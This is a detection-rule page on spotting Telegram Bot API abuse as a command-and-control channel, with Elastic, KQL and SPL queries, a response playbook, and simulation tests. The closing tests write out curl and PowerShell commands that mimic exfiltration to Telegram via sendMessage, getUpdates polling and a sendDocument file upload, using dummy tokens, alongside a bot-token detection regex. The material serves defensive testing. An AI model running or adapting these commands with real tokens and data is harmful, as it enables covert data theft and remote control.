Detect Telegram Bot API Abused as Bidirectional Command-and-Control Channel in Elastic Security
Adversaries increasingly abuse the Telegram Bot API (https://api.telegram.org/bot<token>/<method>) as a fully bidirectional command-and-control channel instead of standing up and defending dedicated C2 infrastructure. Check Point Research documented this pattern in the ToxicEye RAT campaign, where implants registered a Telegram bot at build time and used the bot's sendMessage/sendDocument endpoints to exfiltrate keystrokes and files while polling getUpdates for operator-issued commands (start keylogger, list files, take screenshot, run shell command). The technique is attractive to both commodity malware builders and more targeted operators because api.telegram.org is a single, TLS-encrypted, broadly-trusted consumer domain owned by a legitimate global service — it is rarely blocked by web/egress filtering, blends in with normal Telegram Desktop and mobile-companion traffic, requires no attacker-controlled domain registration or hosting, and Telegram's own infrastructure absorbs the C2 traffic cost. Because every command and every exfiltrated byte transits a single well-known API endpoint, the durable detection signal is not the destination (which is legitimately popular) but the combination of a non-Telegram-client process making repeated HTTPS calls to that endpoint, especially where the request path or command line contains the distinctive bot API token format (bot<8-10 digit numeric id>:<35-character alphanumeric secret>) or method names such as /sendMessage, /getUpdates, /sendDocument, and /sendPhoto.
MITRE ATT&CK
- Tactic
- Command and Control
Elastic Detection Query
FROM logs-endpoint.network-*, logs-network_traffic.*
| WHERE @timestamp > NOW() - 24h
| WHERE event.type == "connection" AND (destination.domain == "api.telegram.org" OR CIDR_MATCH(destination.ip, "149.154.160.0/20", "91.108.4.0/22"))
| WHERE destination.port IN (443, 80)
| WHERE process.name IS NOT NULL AND process.name NOT IN ("Telegram.exe", "TelegramDesktop.exe", "chrome.exe", "msedge.exe", "firefox.exe")
| STATS
connection_count = COUNT(*),
unique_destinations = COUNT_DISTINCT(destination.ip),
first_seen = MIN(@timestamp),
last_seen = MAX(@timestamp)
BY host.hostname, process.name, process.executable
| WHERE connection_count >= 3
| SORT connection_count DESCUses Elasticsearch ES|QL to detect non-Telegram-client processes making repeated HTTPS connections to api.telegram.org or Telegram's published IP ranges. Aggregates by host and process over 24 hours and surfaces any process, other than an allowlisted Telegram client or browser, making 3 or more connections — the network-layer signal for a Telegram-Bot-API-based implant. Pair with a companion rule over process.command_line matching the bot token regex (bot\d{8,10}:[A-Za-z0-9_-]{35}) for higher-confidence alerting where command-line logging is enabled.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate Telegram Desktop or browser-based Telegram Web usage not captured by the process allowlist — expand process.name exclusions to match the organization's approved client binaries
- Internal chatops/monitoring integrations intentionally posting to a known, approved Telegram bot for operational alerting
- Security automation or homelab tooling built on the Bot API for legitimate out-of-band notifications
Other platforms for THREAT-TelegramBot-C2Channel
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate Telegram Bot API Exfil via PowerShell Invoke-RestMethod
Expected signal: Sysmon Event ID 1: powershell.exe process creation with command line referencing api.telegram.org and a bot token pattern. Sysmon Event ID 3 / DeviceNetworkEvents: outbound HTTPS connection attempt to api.telegram.org (149.154.0.0/16) from powershell.exe. PowerShell ScriptBlock Log Event ID 4104 with the full script content including the bot token string.
- Test 2Simulate Telegram Bot API C2 Polling via curl
Expected signal: Process execution logs (auditd/Sysmon for Linux Event ID 1) showing curl invoked with a URL containing api.telegram.org and the getUpdates method. Network connection logs showing 5 repeated HTTPS connections to Telegram IP ranges at 5-second intervals from a non-Telegram-client process.
- Test 3Simulate Telegram Bot API File Exfil via sendDocument
Expected signal: Unified log / EndpointSecurity process execution event for curl with command line containing api.telegram.org, a bot token pattern, and the sendDocument method. Network connection event to Telegram IP ranges over HTTPS with a multipart file upload.
Response Playbook
Triage
- Identify the initiating process and its full path/hash — a Telegram bot C2 implant is rarely a signed, well-known binary; check whether the process is unsigned, running from a temp/AppData directory, or masquerading as a system binary
- Extract the bot token (bot<digits>:<35-char secret>) from the command line or request path if present, and query Telegram's Bot API getMe/getChat methods (via a safe, isolated analysis environment, not the victim host) to enumerate the bot's registered name and associated chat/channel for attribution
- Review the frequency and regularity of getUpdates polling — a fixed short-interval poll (long-polling every few seconds) indicates active command tasking, consistent with an operator actively controlling the implant
- Check for correlated DeviceFileEvents or DeviceProcessEvents around the same timeframe (screenshot capture, file staging, credential access) that would be consistent with commands received via sendMessage/getUpdates and results exfiltrated via sendDocument/sendPhoto
- Determine whether the host has a legitimate business reason to use the Telegram Bot API (approved chatops/notification integration) before treating the finding as malicious — check against an internal registry of approved bot tokens if one exists
Containment
- Block api.telegram.org and Telegram's published IP ranges (149.154.0.0/16, 91.108.4.0/22) at the proxy/firewall for the affected host or network segment if no legitimate business use of Telegram is present
- Isolate the endpoint via EDR if the implant shows evidence of active command execution or credential/file exfiltration
- Revoke the abused Telegram bot token where feasible (attackers rarely rotate tokens quickly; if identifiable and confirmed malicious, report it to Telegram's abuse team to have the bot disabled server-side)
- Kill the identified process and remove its persistence mechanism (scheduled task, run key, service) once confirmed malicious
Evidence Collection
- Full proxy/firewall logs showing every request to api.telegram.org from the affected host, including full URL paths (which may contain the bot token and method)
- Process creation and command-line logs (Sysmon Event ID 1, DeviceProcessEvents) for the initiating process, including parent process chain to establish the initial infection vector
- Any local configuration/dropper artifact on disk that may hardcode the bot token or chat ID — common in ToxicEye-style implants delivered via malicious Office macro attachments
- Memory capture of the running implant process if still active, for malware family identification and full C2 command history extraction
Escalation Criteria
- !Confirmed bot token evidence combined with correlated file staging, screenshot capture, or credential-access activity on the same host — indicates an active, functioning C2 implant rather than benign chatops usage
- !Multiple hosts across the environment beaconing to the same Telegram bot token/chat ID — indicates a broader compromise or a widely-deployed commodity loader
- !The initiating process is unsigned, packed, or was spawned from a phishing-delivered Office document or script — consistent with the ToxicEye delivery chain
- !Evidence that the bot has issued shell-execution or keylogging commands (visible in getUpdates response bodies if full packet/TLS-inspected content is available)
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Proxy/firewall logs with full URL paths to api.telegram.org, including the bot token and method name if not TLS-inspected only at the SNI/domain level - >
Sysmon Event ID 3 / DeviceNetworkEvents showing the initiating process and destination for each connection - >
Dropper/implant binary or script on disk with the hardcoded bot token and chat ID string — recoverable via static analysis even if the process has been killed - >
Registry Run keys, scheduled tasks, or startup folder entries used for persistence of the Telegram-based implant - >
PowerShell ScriptBlock Log (Event ID 4104) if the implant is script-based and uses Invoke-RestMethod/Invoke-WebRequest against the Bot API
Tuning Guidance
Before enabling as a high-severity alert, inventory any legitimate internal use of the Telegram Bot API for chatops, CI/CD notifications, or monitoring integrations, and build an explicit allowlist keyed on (source host, bot_id) rather than blanket-excluding the domain — blanket domain exclusion would blind the detection entirely, since the domain itself is the whole point of the abuse. Where full URL logging is unavailable (TLS-inspected proxies logging only SNI), rely primarily on the process-based hunting query and the non-Telegram-client-process network heuristic rather than the bot-token regex, which requires visibility into the request path or command line.
Hunting Queries
Hunt directly for the Telegram bot token format or the literal string api.telegram.org appearing in process command lines over a 14-day window — catches script-based implants (PowerShell, Python, curl one-liners) that invoke the Bot API directly rather than through a compiled binary, which the network-only detection above would still catch but this surfaces the token/script content for attribution.
DeviceProcessEvents
| where Timestamp > ago(14d)
| where ProcessCommandLine has "api.telegram.org" or ProcessCommandLine matches regex @"bot\d{8,10}:[A-Za-z0-9_-]{35}"
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessParentFileName
| sort by Timestamp descindex=* sourcetype IN ("WinEventLog:Microsoft-Windows-Sysmon/Operational", "XmlWinEventLog:Microsoft-Windows-Sysmon/Operational") EventCode=1 CommandLine="*api.telegram.org*" OR CommandLine="*bot*:*"
| regex CommandLine="bot\d{8,10}:[A-Za-z0-9_\-]{35}"
| table _time, host, Image, CommandLine, ParentImage
| sort - _timeHunt for the same non-browser process name reaching api.telegram.org from multiple distinct hosts over 14 days — a strong indicator of a commodity loader/RAT that has spread beyond a single patient-zero host, since organic per-user Telegram bot usage rarely fans out identically across many endpoints under the same process name.
DeviceNetworkEvents
| where Timestamp > ago(14d)
| where RemoteUrl has "api.telegram.org"
| summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Devices=dcount(DeviceName) by InitiatingProcessFileName
| where Devices > 1
| sort by Devices descindex=proxy sourcetype IN ("stream:http", "squid") dest_host="api.telegram.org" earliest=-14d
| stats dc(src_ip) as Devices, earliest(_time) as FirstSeen, latest(_time) as LastSeen by process_name
| where Devices > 1
| sort - DevicesAtomic Red Team Tests
Simulates a Telegram-Bot-API-based implant exfiltrating data by POSTing to the sendMessage endpoint from PowerShell, mimicking ToxicEye-style RAT behavior. Uses a syntactically valid but non-functional bot token so no real Telegram infrastructure is contacted with live credentials; the DNS/network attempt to api.telegram.org is what generates the detectable telemetry.
Command
powershell -Command "$token='bot123456789:AAHtest_simulated_token_not_realABCDEFGHIJK'; try { Invoke-RestMethod -Uri \"https://api.telegram.org/$token/sendMessage?chat_id=000000&text=exfil_test\" -Method Get -TimeoutSec 5 } catch {}"Expected Telemetry
Sysmon Event ID 1: powershell.exe process creation with command line referencing api.telegram.org and a bot token pattern. Sysmon Event ID 3 / DeviceNetworkEvents: outbound HTTPS connection attempt to api.telegram.org (149.154.0.0/16) from powershell.exe. PowerShell ScriptBlock Log Event ID 4104 with the full script content including the bot token string.
Expected Detection
KQL/SPL detections fire on a non-Telegram-client process (powershell.exe) connecting to api.telegram.org with a bot-token-format string and the sendMessage method present in the command line, yielding high confidence.
Simulates the C2 tasking side of a Telegram Bot API implant by repeatedly polling the getUpdates endpoint, mimicking long-poll command retrieval used by Telegram-based RATs and loaders on Linux hosts.
Command
for i in $(seq 1 5); do curl -s -o /dev/null -m 5 "https://api.telegram.org/bot123456789:AAHtest_simulated_token_not_realABCDEFGHIJK/getUpdates" 2>/dev/null; sleep 5; doneExpected Telemetry
Process execution logs (auditd/Sysmon for Linux Event ID 1) showing curl invoked with a URL containing api.telegram.org and the getUpdates method. Network connection logs showing 5 repeated HTTPS connections to Telegram IP ranges at 5-second intervals from a non-Telegram-client process.
Expected Detection
Network-based detection fires on repeated connections (ConnectionCount >= 3) from curl (not an allowlisted Telegram client) to api.telegram.org, with HasBotApiMethod=true due to the getUpdates method in the request, yielding high confidence.
Simulates exfiltration of a staged file via the Telegram Bot API sendDocument endpoint using curl's multipart form upload, mimicking how commodity stealers upload harvested credential/browser data files to an attacker-controlled Telegram bot on macOS/Linux hosts.
Command
echo 'simulated staged data' > /tmp/atomic_exfil_test.txt && curl -s -o /dev/null -m 5 -F document=@/tmp/atomic_exfil_test.txt "https://api.telegram.org/bot123456789:AAHtest_simulated_token_not_realABCDEFGHIJK/sendDocument?chat_id=000000" 2>/dev/nullCleanup
rm -f /tmp/atomic_exfil_test.txtExpected Telemetry
Unified log / EndpointSecurity process execution event for curl with command line containing api.telegram.org, a bot token pattern, and the sendDocument method. Network connection event to Telegram IP ranges over HTTPS with a multipart file upload.
Expected Detection
Detection fires on the non-Telegram-client process (curl) reaching api.telegram.org with the sendDocument method present, flagged as high confidence due to the bot-token and Bot-API-method evidence.